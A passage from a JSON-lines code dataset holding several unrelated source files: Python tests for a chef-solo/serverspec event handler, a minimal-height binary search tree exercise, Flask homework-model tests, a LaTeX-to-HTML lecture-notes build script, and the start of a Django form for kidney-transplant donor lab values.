1)\n self.assertEqual(chef.call_args, ((roles, 'setup', ), {}))\n self.assertEqual(ret, 0)\n\n @mock.patch('os.path.exists')\n @mock.patch('event_handler.run_chefsolo')\n def test_execute_chef(self, run_chefsolo, file_exists):\n run_chefsolo.return_value = 0\n\n roles_dir = os.path.join(test_helper.pattern_root, 'roles')\n\n def side_effect(file_path):\n if file_path == os.path.join(roles_dir, 'web_setup.json'):\n return True\n elif file_path == os.path.join(roles_dir, 'db_setup.json'):\n return True\n else:\n return False\n\n file_exists.side_effect = side_effect\n\n roles = ['web', 'ap', 'db']\n\n ret = event_handler.execute_chef(roles, 'setup')\n\n self.assertEqual(file_exists.call_count, 4)\n self.assertEqual(file_exists.call_args_list,\n [((os.path.join(roles_dir, 'web_setup.json'),),),\n ((os.path.join(\n roles_dir, 'ap_setup.json'),),),\n ((os.path.join(\n roles_dir, 'db_setup.json'),),),\n ((os.path.join(roles_dir, 'all_setup.json'),),)])\n\n self.assertEqual(run_chefsolo.call_count, 2)\n self.assertEqual(run_chefsolo.call_args_list,\n [(('web', 'setup'),), (('db', 'setup'),)])\n self.assertEqual(ret, 0)\n\n @mock.patch('os.path.exists')\n @mock.patch('event_handler.events')\n @mock.patch('event_handler.system')\n def test_execute_serverspec_in_configure_phase(self,\n system,\n events,\n file_exists):\n events.return_value = ['configure']\n system.return_value = 0\n\n spec_dir = os.path.join(test_root, 'spec')\n\n all_file = os.path.join(spec_dir, 'all', 'all_configure_spec.rb')\n web_file = os.path.join(spec_dir, 'web', 'web_configure_spec.rb')\n ap_file = os.path.join(spec_dir, 'ap', 'ap_configure_spec.rb')\n db_file = os.path.join(spec_dir, 'db', 'db_configure_spec.rb')\n\n def side_effect(file_path):\n if file_path == web_file:\n return True\n elif file_path == db_file:\n return True\n else:\n return False\n\n file_exists.side_effect = side_effect\n\n roles = ['web', 'ap', 'db']\n\n ret = event_handler.execute_serverspec(roles)\n\n self.assertEqual(events.call_count, 1)\n\n self.assertEqual(file_exists.call_count, 4)\n self.assertEqual(file_exists.call_args_list,\n [((all_file,),),\n ((web_file,),),\n ((ap_file,),),\n ((db_file,),)])\n\n self.assertEqual(system.call_count, 2)\n self.assertEqual(system.call_args_list,\n [(('cd ' + test_root +\n '; rake spec[web,configure]', ),),\n (('cd ' + test_root +\n '; rake spec[db,configure]',),)])\n\n self.assertEqual(ret, 0)\n\n @mock.patch('os.path.exists')\n @mock.patch('event_handler.events')\n @mock.patch('event_handler.system')\n def test_execute_serverspec_in_deploy_phase(self,\n system, events, file_exists):\n events.return_value = ['configure', 'deploy']\n system.return_value = 0\n\n spec_dir = os.path.join(test_root, 'spec')\n\n all_file_c = os.path.join(spec_dir, 'all', 'all_configure_spec.rb')\n all_file_d = os.path.join(spec_dir, 'all', 'all_deploy_spec.rb')\n web_file_c = os.path.join(spec_dir, 'web', 'web_configure_spec.rb')\n web_file_d = os.path.join(spec_dir, 'web', 'web_deploy_spec.rb')\n ap_file_c = os.path.join(spec_dir, 'ap', 'ap_configure_spec.rb')\n ap_file_d = os.path.join(spec_dir, 'ap', 'ap_deploy_spec.rb')\n db_file_c = os.path.join(spec_dir, 'db', 'db_configure_spec.rb')\n db_file_d = os.path.join(spec_dir, 'db', 'db_deploy_spec.rb')\n\n def side_effect(file_path):\n if file_path == web_file_c:\n return True\n elif file_path == db_file_c:\n return True\n elif file_path == web_file_d:\n return True\n elif file_path == db_file_d:\n return True\n else:\n return False\n\n file_exists.side_effect = side_effect\n\n roles = ['web', 'ap', 'db']\n\n ret = event_handler.execute_serverspec(roles)\n\n self.assertEqual(events.call_count, 1)\n\n self.assertEqual(file_exists.call_count, 8)\n self.assertEqual(file_exists.call_args_list,\n [((all_file_c,),),\n ((all_file_d,),),\n ((web_file_c,),),\n ((web_file_d,),),\n ((ap_file_c,),),\n ((ap_file_d,),),\n ((db_file_c,),),\n ((db_file_d,),)])\n\n self.assertEqual(system.call_count, 4)\n self.assertEqual(system.call_args_list,\n [(('cd ' + test_root +\n '; rake spec[web,configure]', ),),\n (('cd ' + test_root +\n '; rake spec[web,deploy]', ),),\n (('cd ' + test_root +\n '; rake spec[db,configure]', ),),\n (('cd ' + test_root + '; rake spec[db,deploy]',),)])\n\n self.assertEqual(ret, 0)\n\n @mock.patch('event_handler.read_parameters')\n def test_events(self, read_prms):\n read_prms.return_value = {}\n self.assertEqual(event_handler.events(), ['configure'])\n\n read_prms.result_value = {'cloudconductor': None}\n self.assertEqual(event_handler.events(), ['configure'])\n\n read_prms.return_value = {'cloudconductor': {'applications': None}}\n self.assertEqual(event_handler.events(), ['configure'])\n\n read_prms.return_value = {'cloudconductor': {'applications': {}}}\n self.assertEqual(event_handler.events(), ['configure', 'deploy'])\n\n @mock.patch('event_handler.file_open')\n def test_create_chefsolo_config_file(self, file_open):\n dummy_obj = mock.Mock(spec=file)\n file_open.return_value = dummy_obj\n\n ret = event_handler.create_chefsolo_config_file('web')\n\n file_path = os.path.join(test_helper.pattern_root, 'solo.rb')\n self.assertEqual(ret, file_path)\n\n self.assertEqual(file_open.call_count, 1)\n self.assertEqual(\n file_open.call_args, ((file_path, 'w'), ))\n\n cookbook_path = 'cookbook_path [\\'' + test_helper.pattern_root + \\\n '/cookbooks\\', \\'' + test_helper.pattern_root + \\\n '/site-cookbooks\\']'\n\n self.assertEqual(dummy_obj.write.call_args_list,\n [(('ssl_verify_mode :verify_peer\\n',),),\n (('role_path \\'' +\n test_helper.pattern_root + '/roles\\'\\n', ),),\n (('log_level :info\\n', ),),\n (('log_location \\'' + test_helper.pattern_root +\n '/logs/zabbix_pattern_web_chef-solo.log\\'\\n', ),),\n (('file_cache_path \\'' +\n test_helper.pattern_root + '/tmp/cache\\'\\n', ),),\n ((cookbook_path, ),)])\n\n self.assertEqual(dummy_obj.close.call_count, 1)\n\n @mock.patch('event_handler.read_servers')\n @mock.patch('event_handler.read_parameters')\n @mock.patch('event_handler.file_open')\n def test_create_chefsolo_node_file_setup(self,\n file_open, read_prms, read_srvs):\n\n dummy_obj = mock.Mock(spec=file)\n file_open.return_value = dummy_obj\n\n read_prms.return_value = {'cloudconductor': {\n 'patterns': {\n 'zabbix_pattern': {\n 'user_attributes': {\n 'key1': 'value1',\n 'key2': {'key3': 'value3'}}}}}}\n\n read_srvs.return_value = {'testserver': {'ip': '192.168.0.1'}}\n\n # creates node file in case of setup\n ret = event_handler.create_chefsolo_node_file('web', 'setup')\n\n file_path = os.path.join(test_helper.pattern_root, 'node.json')\n self.assertEqual(ret, file_path)\n\n self.assertEqual(read_prms.call_count, 1)\n self.assertEqual(read_srvs.call_count, 0)\n\n self.assertEqual(file_open.call_count, 1)\n self.assertEqual(\n file_open.call_args, ((file_path, 'w'),))\n\n self.assertEqual(dummy_obj.write.call_count, 1)\n self.assertEqual(dummy_obj.write.call_args,\n ((json.dumps({'cloudconductor': {\n 'patterns': {\n 'zabbix_pattern': {\n 'user_attributes': {\n 'key1': 'value1',\n 'key2': {'key3': 'value3'}}}}},\n 'run_list': ['role[web_setup]']}), ),))\n\n self.assertEqual(dummy_obj.close.call_count, 1)\n\n @mock.patch('event_handler.read_servers')\n @mock.patch('event_handler.read_parameters')\n @mock.patch('event_handler.file_open')\n def test_create_chefsolo_node_file_configure(self,\n file_open,\n read_prms,\n read_srvs):\n\n dummy_obj = mock.Mock(spec=file)\n file_open.return_value = dummy_obj\n\n read_prms.return_value = {'cloudconductor': {\n 'patterns': {\n 'zabbix_pattern': {\n 'user_attributes': {\n 'key1': 'value1',\n 'key2': {'key3': 'value3'}}}}}}\n\n read_srvs.return_value = {'testserver': {'ip': '192.168.0.1'}}\n\n # creates node file in case of not setup\n ret = event_handler.create_chefsolo_node_file('web', 'configure')\n\n file_path = os.path.join(test_helper.pattern_root, 'node.json')\n self.assertEqual(ret, file_path)\n\n self.assertEqual(read_prms.call_count, 1)\n self.assertEqual(read_srvs.call_count, 1)\n\n self.assertEqual(file_open.call_count, 1)\n self.assertEqual(\n file_open.call_args, ((file_path, 'w'),))\n\n self.assertEqual(dummy_obj.write.call_count, 1)\n self.assertEqual(dummy_obj.write.call_args,\n ((json.dumps({'cloudconductor': {\n 'patterns': {\n 'zabbix_pattern': {\n 'user_attributes': {\n 'key1': 'value1',\n 'key2': {'key3': 'value3'}}}},\n 'servers': {'testserver': {'ip': '192.168.0.1'}}},\n 'key1': 'value1', 'key2': {'key3': 'value3'},\n 'run_list': ['role[web_configure]']}), ),))\n\n self.assertEqual(dummy_obj.close.call_count, 1)\n\n @mock.patch('event_handler.create_chefsolo_node_file')\n @mock.patch('event_handler.create_chefsolo_config_file')\n @mock.patch('event_handler.system')\n def test_run_chefsolo(self,\n system, config_file, node_file):\n\n system.return_value = 0\n config_file.return_value = '/tmp/test/solo.rb'\n node_file.return_value = '/tmp/test/node.json'\n\n ret = event_handler.run_chefsolo('web', 'setup')\n\n self.assertEqual(ret, 0)\n\n self.assertEqual(config_file.call_count, 1)\n self.assertEqual(config_file.call_args, (('web', ),))\n\n self.assertEqual(node_file.call_count, 1)\n self.assertEqual(node_file.call_args, (('web', 'setup'),))\n\n self.assertEqual(system.call_count, 2)\n\n berks_cmd = 'cd ' + test_helper.pattern_root + \\\n '; berks vendor ./cookbooks'\n chef_cmd = 'chef-solo -c /tmp/test/solo.rb -j /tmp/test/node.json'\n\n self.assertEqual(system.call_args_list,\n [((berks_cmd, ),),\n ((chef_cmd, ),)])\n\n def test_read_parameters(self):\n\n ret = event_handler.read_parameters()\n\n self.assertEqual(ret, {})\n\n def test_read_servers(self):\n\n ret = event_handler.read_servers()\n self.assertEqual(ret, {})\n\n\nif __name__ == '__main__':\n suite = unittest.TestLoader().loadTestsFromTestCase(TestEventHandler)\n unittest.TextTestRunner(verbosity=2).run(suite)\n","sub_path":"test/unit/lib/event_handler_test.py","file_name":"event_handler_test.py","file_ext":"py","file_size_in_byte":14720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"310724892","text":"\"\"\"4.2 Minimal Tree\n\nProblem:\n\n Given a sorted array with unique integer elements, write an algorithm to\n create a BST with minimal height.\n\nApproach:\n\n The complex approach would be implement a AVL, B, or Red-Black... any of the\n height balanced BST structure which supports insert. This would be the most\n complete answer.\n\n But as it can be involved, and unpractical in interview setting, the\n question is not designed such that whether you can implement full AVL tree\n structure in half an hour. But rather, it asks whether you can see the\n recursive nature in the sorted array that we can take advantage of.\n\n [ 1, 2, 3, 4, 5, 6 ]\n\n In order to balance the tree by its height, the root should be the mid of\n the sorted array such that leftsubtree and rightsubtree are height balanced.\n And thus recursive definition builds all the way down.\n\n\"\"\"\n\nclass BSTNode:\n def __init__(self, val):\n self.val = val\n self.left = self.right = None\n\nclass Solution():\n def createBSTUtil(self, start, end, values):\n if start > end:\n return\n mid = start + (end - start) // 2\n node = BSTNode(values[mid])\n node.left = self.createBSTUtil(start, mid - 1, values)\n node.right = self.createBSTUtil(mid + 1, end, values)\n return node\n\n def createBST(self, values):\n start, end = 0, len(values) - 1\n return self.createBSTUtil(start, end, values)\n\ndef printTree(root, result):\n if root:\n printTree(root.left, result)\n result.append(root.val)\n printTree(root.right, result)\n\ndef main():\n values = [ 1, 2, 3, 4, 5, 6 ]\n print(values)\n resultTree = Solution().createBST(values)\n resultList = []\n printTree(resultTree, resultList)\n print(resultList)\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"Coding_Question/CCI/04_Trees_and_Graphs/4.2_minimalTree.py","file_name":"4.2_minimalTree.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"596150972","text":"from homework12.app import *\n\n\ndef test_add_teachers():\n opp_teacher = Teacher(first_name=\"Daniil\", last_name=\"Shadrin\")\n db.session.add(opp_teacher)\n advanced_python_teacher = Teacher(first_name=\"Aleksandr\", last_name=\"Smetanin\")\n db.session.add(advanced_python_teacher)\n db.session.commit()\n\n\ndef test_add_students():\n lazy_student = Student(first_name=\"Roman\", last_name=\"Petrov\")\n db.session.add(lazy_student)\n good_student = Student(first_name=\"Lev\", last_name=\"Sokolov\")\n db.session.add(good_student)\n db.session.commit()\n\n\ndef test_add_homeworks_by_teachers_methods():\n opp_teacher = Teacher.query.get(1)\n opp_teacher.create_homework(\"Learn OOP\", 1)\n opp_teacher.create_homework(\"Read docs\", 5)\n\n\ndef test_add_homework_results():\n lazy_student = Student.query.get(1)\n good_student = Student.query.get(2)\n oop_hw = Homework.query.filter_by(text=\"Learn OOP\").first()\n docs_hw = Homework.query.filter_by(text=\"Read docs\").first()\n result_1 = good_student.do_homework(oop_hw, \"I have done this hw\")\n db.session.add(result_1)\n result_2 = good_student.do_homework(docs_hw, \"I have done this hw too\")\n db.session.add(result_2)\n result_3 = lazy_student.do_homework(docs_hw, \"done\")\n db.session.add(result_3)\n db.session.commit()\n\n\ndef test_teacher_checks_results():\n opp_teacher = Teacher.query.get(1)\n result_1 = HomeworkResult.query.get(1)\n assert opp_teacher.check_homework(result_1)\n assert result_1.accepted\n\n\ndef test_teacher_gets_list_of_accepted_homework_results():\n opp_teacher = Teacher.query.get(1)\n accepted_homework_by_teacher_attribute = opp_teacher.homework_done\n accepted_homework_results_by_query_to_db = HomeworkResult.query.filter_by(\n accepted=True\n ).all()\n assert (\n accepted_homework_by_teacher_attribute\n == accepted_homework_results_by_query_to_db\n )\n\n\ndef test_teacher_resets_homework_results_of_first_homework():\n opp_teacher = Teacher.query.get(1)\n oop_hw = Homework.query.get(1)\n opp_teacher.reset_results(oop_hw)\n all_homework_results = HomeworkResult.query.all()\n for homework_result in all_homework_results:\n assert homework_result.homework_id != 1\n\n\ndef test_teacher_resets_all_homework_results():\n advanced_python_teacher = Teacher.query.get(2)\n advanced_python_teacher.reset_results()\n all_homework_results = HomeworkResult.query.all()\n assert not all_homework_results\n\n\ndef test_delete_all_entries_for_repeating_testing():\n db.drop_all()\n db.create_all()\n","sub_path":"tests/homework12/test_task01.py","file_name":"test_task01.py","file_ext":"py","file_size_in_byte":2553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"106815160","text":"import ply.lex as lex\nimport ply.yacc as yacc\nimport sys\nimport os\nimport shutil\nimport random\nimport re\nimport tempfile\nimport subprocess\nimport tidylib as tidy\nimport ltmd\nimport yaml\nimport pypandoc\n\nimport configparser\n\nconfig = configparser.ConfigParser()\nif len(sys.argv)<2:\n config.read('litm.cfg')\nelse:\n config.read(sys.argv[1])\ncompile_dir = config.get('path','compile_dir')\ntex_dir = config.get('path','tex_dir')\nimage_dir = config.get('path','image_dir')\nweb_dir = config.get('path','web_dir')\nargs = sys.argv\nown_files = [ f.strip() for f in config.get('path','own_files').split(',')]\n\ndef getUID():\n return \"{:0<10}\".format(random.randint(0, 1e10))\n\ndef register(key,value,uid):\n for k,dic in [('keypoint',lexer.keypoints),('image',lexer.images),('question',lexer.questions)]: \n if key==k:\n if not lexer.current['section'] in dic.keys():\n dic[lexer.current['section']]=[]\n if not lexer.current['lecture'] in dic.keys():\n dic[lexer.current['lecture']]=[]\n dic[lexer.current['section']].append(value)\n dic[lexer.current['lecture']].append(value)\n if key in ['section','lecture']:\n lexer.begin[key][value]=uid\n lexer.end[key][lexer.current[key]]=uid\n lexer.current[key]=value\n if key=='section':\n lexer.sections.append(value)\n if key=='lecture':\n lexer.lectures.append(value)\n lexer.uids[key][value]=uid\n\ntokens=(\n 'KEY',\n 'TEXT',\n 'PDFONLYBEGIN',\n 'PDFONLYEND',\n)\n\n\ndef t_KEY(t):\n r'%%\\\\(?P\\w+)\\{(?P.*)\\}'\n key=lexer.lexmatch.group('key')\n value=lexer.lexmatch.group('value')\n uid=getUID()\n register(key,value,uid)\n t.value=(key,value,uid)\n return t\n\ndef t_PDFONLYBEGIN(t):\n r'%%@pdfonly(?P.*?)'\n t.value=('PDFONLYBEGIN',lexer.lexmatch.group('txt'))\n return t\n\ndef t_PDFONLYEND(t):\n r'%%@endpdfonly'\n t.value=('PDFONLYEND',lexer.lexmatch.group('txt'))\n return t\n\ndef t_TEXT(t):\n r'(?:(?:\\\\%)|(?:[^%\\\\]+)|(?:\\\\[^%])|(%[^%])|(?:%%[^\\\\@]))+'\n t.value=('TEXT',t.value)\n\n return t\n\ndef p_blocks(p):\n 'blocks : block blocks'\n #if the block is ignored the result is None\n if p[1]:\n p[0] = [p[1]]+p[2]\n else:\n p[0]=p[2]\n\ndef p_blocksnone(p):\n 'blocks : '\n p[0] = []\n\ndef p_pdfonly(p):\n 'PDFONLY : PDFONLYBEGIN blocks PDFONLYEND'\n p[0] = ('PDFONLY',p[2]) \n \ndef p_block(p):\n '''block : TEXT\n | KEY\n | PDFONLY\n'''\n p[0] = p[1]\n\ndef insertLectureDivs(origTxt):\n txt=str(origTxt)\n for i,uid in lexer.uids['lecture'].items():\n comment=r\"\".format(uid)\n div='''\n
    \n
    Lecture {i}\n
    \n '''.format(i=i)\n txt=txt.replace(comment,div)\n return txt\n\ndef format_classes(classes):\n return ' '.join(classes)\n\ndef getKeyPointsHTML(key, extra_class=[]):\n classes = format_classes(extra_class + ['keypoints'])\n if key not in lexer.keypoints.keys():\n return ''\n else:\n txt='
    \\n

    \\nKey Points\\n

    '.format(classes)\n for kp in lexer.keypoints[key]:\n div='''
    {kptxt}
    '''.format(\n kptxt=pypandoc.convert(kp,'html',format='tex'))\n txt+=div\n txt+='
    '\n return txt\n\ndef getQuestionsHTML(key, extra_class=[]):\n classes = format_classes(extra_class + ['questions'])\n if key not in lexer.questions.keys():\n return ''\n else:\n txt='
    \\n

    \\nQuick Questions\\n

    '.format(classes)\n for kp in lexer.questions[key]:\n div='''
    {kptxt}
    '''.format(\n kptxt=pypandoc.convert(kp,'html',format='tex'))\n txt+=div\n txt+='
    '\n return txt\n\ndef run_pandoc(content, bibliography=\"\"):\n if bibliography:\n bib = [\"--bibliography={}\".format(bibliography)]\n else:\n bib = []\n\n extra_args = [\n \"--mathjax\",\n \"-F\",\n \"pandoc-crossref\",\n \"-F\",\n \"pandoc-citeproc\"] + bib\n\n print(\"Running Pandoc (MD -> HTML)\")\n OutputData = pypandoc.convert_text(content, \"html\", format=\"md\", extra_args=extra_args)\n\n return OutputData\n\nlexer=lex.lex()\nlastLecture=0\n\ndef process(fileName):\n global lastLecture\n # prepare lexer state\n if lastLecture==0:\n lexer.current={'section':'begining','lecture':'begining'}\n else:\n lexer.current={'section':'begining','lecture':('{0}'.format(lastLecture))}\n lexer.keypoints={}\n lexer.questions={}\n lexer.images={}\n lexer.uids={ 'section':{}, 'lecture':{} , 'keypoint':{}, 'image':{}, 'question':{}}\n lexer.begin={'section':{}, 'lecture':{}}\n lexer.end={'section':{}, 'lecture':{} }\n lexer.sections=[]\n if lastLecture!=0:\n lexer.lectures=[\"{0}\".format(lastLecture)]\n else:\n lexer.lectures=[]\n # parse the tex file\n\n f=open(tex_dir + fileName,'r')\n txt=f.read()\n lexer.input(txt)\n parser = yacc.yacc()\n result = parser.parse(txt)\n\n # prepare tex file for conversion to MD\n \n fullTxt=\"\"\n for token in result:\n if token[0]==\"TEXT\":\n fullTxt+=token[1]\n elif token[0]=='PDFONLY':\n pass #this is ignored here \n else:\n fullTxt+=\"\\nMDCOMMENT\"+token[2]+\"\\n\"\n\n # use ltmd to convert\n \n InputText=fullTxt\n\n # Before we do, remove any random \\rules, and \\ces\n\n InputText = re.sub(r\"\\\\rule{.*?}{.*?}\",\n \"\",\n InputText)\n #InputText = InputText.replace(\"\\ce\", \"\")\n\n PreProcessed = ltmd.PreProcess(InputText, img_prepend=\"/\")\n Pandocced = ltmd.run_pandoc(PreProcessed.parsed_text, extra=[\"--mathjax\"])\n PostProcessed = ltmd.PostProcess(Pandocced, PreProcessed.parsed_data)\n OutputText = PostProcessed.parsed_text\n\n # add a last line marker to terminate the opened sections and lectures\n \n fullMD=OutputText.replace('MDCOMMENT',r'[\\\\] # ')\n endUID=getUID()\n fullMD+=r\"[\\\\] # \"+endUID+\"\\n\"\n lexer.end['section'][lexer.current['section']]=endUID\n lexer.end['lecture'][lexer.current['lecture']]=endUID\n\n # MD --> HTML conversion\n \n fullMDforHTML=re.sub(r\"\\[\\\\\\\\\\] # (\\d+)\", r\"\", fullMD)\n html=run_pandoc(fullMDforHTML, bibliography=tex_dir + 'bibliography.bib')\n\n # separate the sections \n\n db={'sections':{}}\n seclist=[]\n for sec in lexer.sections:\n regex= r''.format(lexer.begin['section'][sec])\n regex+='(?P.*?)'\n regex+=r''.format(lexer.end['section'][sec])\n\n match=re.search(regex ,html,re.MULTILINE+re.DOTALL)\n txt=match.group('txt')\n txt=insertLectureDivs(txt)\n txt+=getKeyPointsHTML(sec)\n txt+=getQuestionsHTML(sec)\n with open(compile_dir + '_'+sec.replace(' ','_')+'.html','w') as of:\n tidy_options = {\n \"doctype\" : \"omit\",\n \"show-body-only\": \"yes\", \n } \n th,errs=tidy.tidy_document(txt, tidy_options)\n of.write(th)\n lecs={}\n if sec in lexer.keypoints.keys():\n for kp in lexer.keypoints[sec]:\n for lec in lexer.keypoints.keys():\n if lec!=sec :\n if kp in lexer.keypoints[lec]:\n if not lec in lecs.keys():\n lecs[lec]=[]\n lecs[lec].append(kp)\n if sec in lexer.images.keys():\n images=lexer.images[sec]\n else:\n images=None\n\n lecnbrs=sorted([int(k) for k in lecs.keys() if not k=='begining' ])\n if lecnbrs:\n lastLecture=lecnbrs[-1]\n leclist=[ {'number':str(i),'kps':lecs[str(i)]} for i in lecnbrs ]\n # treat the case of split lecture\n if 'begining' in lecs.keys(): \n leclist.insert(0,{'number':str(lastLecture),'kps':lecs['begining']})\n if images:\n seclist.append({'lectures':leclist,'name':sec,'image':images[0]})\n else:\n seclist.append({'lectures':leclist,'name':sec})\n\n if sec in lexer.keypoints.keys():\n items=['\\\\item {0}'.format(kp) for kp in lexer.keypoints[sec]]\n with open(compile_dir+\"/{0}_keypoints.tex\".format(sec.replace(' ','-')),'w') as kptex:\n kptex.write(\"\\n\".join(items))\n\n\n \n leclist=[]\n for lec in lexer.lectures:\n firstSplit,lastSplit=False,False\n if lec==lexer.lectures[0] and lec not in lexer.begin['lecture'].keys():\n # use the first section as the begining of the lecture\n firstSplit=True\n labelBegin=lexer.begin['section'][lexer.sections[0]]\n else:\n labelBegin=lexer.begin['lecture'][lec]\n if lec==lexer.lectures[-1] and lec not in lexer.end['lecture'].keys():\n # use the first section as the begining of the lecture\n lastSplit=True\n labelEnd=lexer.end['section'][lexer.sections[-1]]\n else:\n labelEnd=lexer.end['lecture'][lec]\n regex= r''.format(labelBegin)\n regex+='(?P.*?)'\n regex+=r''.format(labelEnd)\n # there is no match if this is the lastLecture of the last chapter and\n # there is no content before the first section o this chapter\n match=re.search(regex ,html,re.MULTILINE+re.DOTALL)\n if match:\n txt=getKeyPointsHTML(lec, extra_class=['lecture-kps'])\n txt+=match.group('txt')\n txt+=getQuestionsHTML(lec, extra_class=['lecture-qs'])\n if firstSplit:\n rwaccess='a'\n print (\"adding to existing lecture...\")\n else:\n rwaccess='w'\n with open(compile_dir + '_Lecture_'+lec+'.html',rwaccess) as of:\n tidy_options = {\n \"doctype\" : \"omit\",\n \"show-body-only\": \"yes\", \n } \n th,errs=tidy.tidy_document(txt, tidy_options)\n of.write(th)\n\n if lec in lexer.images.keys():\n images=lexer.images[lec]\n else:\n images=None\n\n\n if images:\n leclist.append({'name':lec,'image':images[0]})\n else:\n leclist.append({'name':lec})\n\n\n \n return seclist,leclist\n\n\ndef get_tex(directory):\n if not own_files:\n raw = os.listdir(directory)\n files = []\n for filename in raw:\n if filename[-3:] == 'tex':\n files.append(filename)\n else:\n pass\n\n return files\n \n return own_files\n\ndbSections=[]\ndbLectures=[]\n\ntry:\n os.mkdir(compile_dir)\nexcept OSError:\n pass\n\nfiles = get_tex('./tex')\n\nfor f in files:\n print(\"Compiling {}\".format(f))\n seclist,leclist=process(f)\n dbSections.append({'name':f.split('.')[0],'sections':seclist})\n dbLectures.extend(leclist)\n\nwith open('./compiled/information.yaml', 'w') as f:\n f.write(yaml.dump(dbSections))\nwith open('./compiled/lectures.yaml', 'w') as f:\n f.write(yaml.dump(dbLectures))\n\n### Now we must deal with files, building middleman etc.\n\nop_img_dir = web_dir + 'source/images/'\nop_data_dir = web_dir + 'data/'\nop_notes_dir = web_dir + 'source/notes/'\nop_lectures_dir = web_dir + 'source/lectures/'\n\nfor dir in [op_img_dir, op_data_dir, op_notes_dir, op_lectures_dir]:\n try:\n os.mkdir(dir)\n except OSError:\n pass\n\nprint(\"Copying Images...\")\nfor img in os.listdir(image_dir):\n shutil.copyfile(image_dir + img, op_img_dir + img)\n\nfaq_dir = config.get('path','faq_dir')\nfaq_dest = config.get('path', 'faq_dest')\nshutil.copyfile(faq_dir + '/faq.yaml', faq_dest +'/faq.yaml')\n\n \nprint(\"Copying Compiled Files...\")\n\ndispatch=[]\nfor ftype in config.options('files'):\n dispatch.append(\n (re.compile(config.get('files',ftype)), config.get('destination',ftype) )\n )\n\n\nfor compiled in os.listdir(compile_dir):\n found=False\n for regex,dest in dispatch:\n if regex.match(compiled):\n found=True\n print(\"sending {} to {}\".format( compiled,dest ))\n shutil.copyfile(compile_dir +'/'+ compiled, dest +'/' + compiled)\n break\n if not found:\n print(\"Unable to classify file {}{}\".format(compile_dir, compiled))\n \n### Middleman stuff\nif config.has_option('middleman','run') and config.get('middleman','run')=='yes':\n os.chdir(web_dir)\n\n try:\n print(\"Removing old build files\")\n shutil.rmtree(\"./build/\")\n except FileNotFoundError:\n # no old build files\n pass\n\n print(\"Building new middleman files\")\n os.system(\"bundle exec middleman build\")\n","sub_path":"compile.py","file_name":"compile.py","file_ext":"py","file_size_in_byte":12853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"564883959","text":"from django import forms\nfrom form_utils.forms import BetterModelForm\nfrom .models import Labskt\nfrom .choices import *\nfrom .fields import *\nfrom django.utils.safestring import mark_safe\n\nclass PathForm(BetterModelForm):\n\n # Basic information\n D_sex = choice_field(Labskt, 'D_sex', 'Donor 성별')\n D_age = integer_field('Donor 나이', min_value=0, max_value=999,)\n D_height = float_field('Donor 키 (cm)', min_value=50, max_value=250)\n D_weight = float_field('Donor 체중 (kg)', min_value=10, max_value=300,)\n D_ABO_type = choice_field(Labskt, 'D_ABO_type', 'Donor 혈액형')\n D_relation = choice_field(Labskt, 'D_relation', 'Donor/Recipient 관계')\n D_hospital = char_field(\"Donor 발생 병원\", required=False)\n\n # Past history\n D_DM = choice_field(Labskt, 'D_DM', '당뇨병',)\n D_HTN = choice_field(Labskt, 'D_HTN', '고혈압',)\n D_smoking = choice_field(Labskt, 'D_smoking', '흡연력')\n D_alcohol = choice_field(Labskt, 'D_alcohol', '음주력')\n D_otherhx = char_textarea('그 외 과거력', max_length=100)\n D_brain_cause = char_field('뇌사 원인 진단명', )\n D_trauma = choice_field(Labskt, 'D_trauma', '외상 동반 여부')\n D_CPR = choice_field(Labskt, 'D_CPR', 'CPR 시행 여부')\n D_AKI = choice_field(Labskt, 'D_AKI', 'AKI 발생 여부')\n D_RRT = choice_field(Labskt, 'D_RRT', 'RRT 시행 여부')\n D_ECMO = choice_field(Labskt, 'D_ECMO', 'ECMO 시행 여부')\n D_inotropic = choice_field(Labskt, 'D_inotropic', 'Inotropics 사용 여부')\n D_transfusion = choice_field(Labskt, 'D_transfusion', '수혈 시행 여부')\n\n # KT studies\n D_abnorm_findings = char_textarea(\n \"세부 검사 이상 기술 (EKG, chest, Echo, USG 등)\",\n rows=10, max_length=1000)\n\n # CBC\n D_WBC = float_field(mark_safe('WBC (103/μL)'), min_value=0, max_value=999, onchange=\"valDWBC()\")\n D_Hb = float_field(\"Hb (g/dL)\", min_value=1, max_value=30)\n D_Hct = float_field(\"Hct (%)\", min_value=3, max_value=90)\n D_PLT = float_field(mark_safe('Platelet (103/μL)'), min_value=0, max_value=3000, onchange=\"valDPLT()\")\n D_PT = float_field('PT (INR)', min_value=0, max_value=30)\n D_aPTT = float_field('aPTT (sec)', min_value=0, max_value=999)\n\n # Chemistry\n D_T_prot = float_field('T-protein (g/dL)', min_value=0, max_value=30)\n D_Alb = float_field('Albumin (g/dL)', min_value=0, max_value=20)\n D_Gluc = float_field('Glucose (mg/dL)', min_value=0, max_value=2000)\n D_BUN = float_field('BUN (mg/dL)', min_value=0, max_value=300)\n D_Cr = float_field('Cr (mg/dL)', min_value=0, max_value=99)\n D_base_Cr = float_field('Initial Cr (mg/dL)', min_value=0, max_value=99)\n D_T_bil = float_field('T-bil (mg/dL)', min_value=0, max_value=99)\n D_AST = float_field('AST (IU/L)', min_value=0, max_value=99999)\n D_ALT = float_field('ALT (IU/L)', min_value=0, max_value=99999)\n D_ALP = float_field('ALP (IU/L)', min_value=0, max_value=99999)\n\n D_LDH = float_field('LDH (IU/L)', min_value=0, max_value=9999)\n D_UA = float_field('Uric acid (mg/dL)', min_value=0, max_value=99)\n D_TG = float_field('TG (mg/dL)', min_value=0, max_value=9999, )\n D_T_chol = float_field('T-chol (mg/dL)', min_value=0, max_value=999, )\n D_HDL = float_field('HDL (mg/dL)', min_value=0, max_value=499, )\n D_Na = float_field('Na (mmol/L)', min_value=0, max_value=300)\n D_Kal = float_field('K (mmol/L)', min_value=0, max_value=30)\n D_Cl = float_field('Cl (mmol/L)', min_value=0, max_value=300)\n D_TCO2 = float_field(mark_safe('TCO2 (mmol/L)'), min_value=0, max_value=99)\n D_Ca = float_field('Ca (mg/dL)', min_value=0, max_value=99)\n\n D_phos = float_field('P (mg/dL)', min_value=0, max_value=99)\n D_CRP = float_field('CRP (mg/L)', min_value=0, 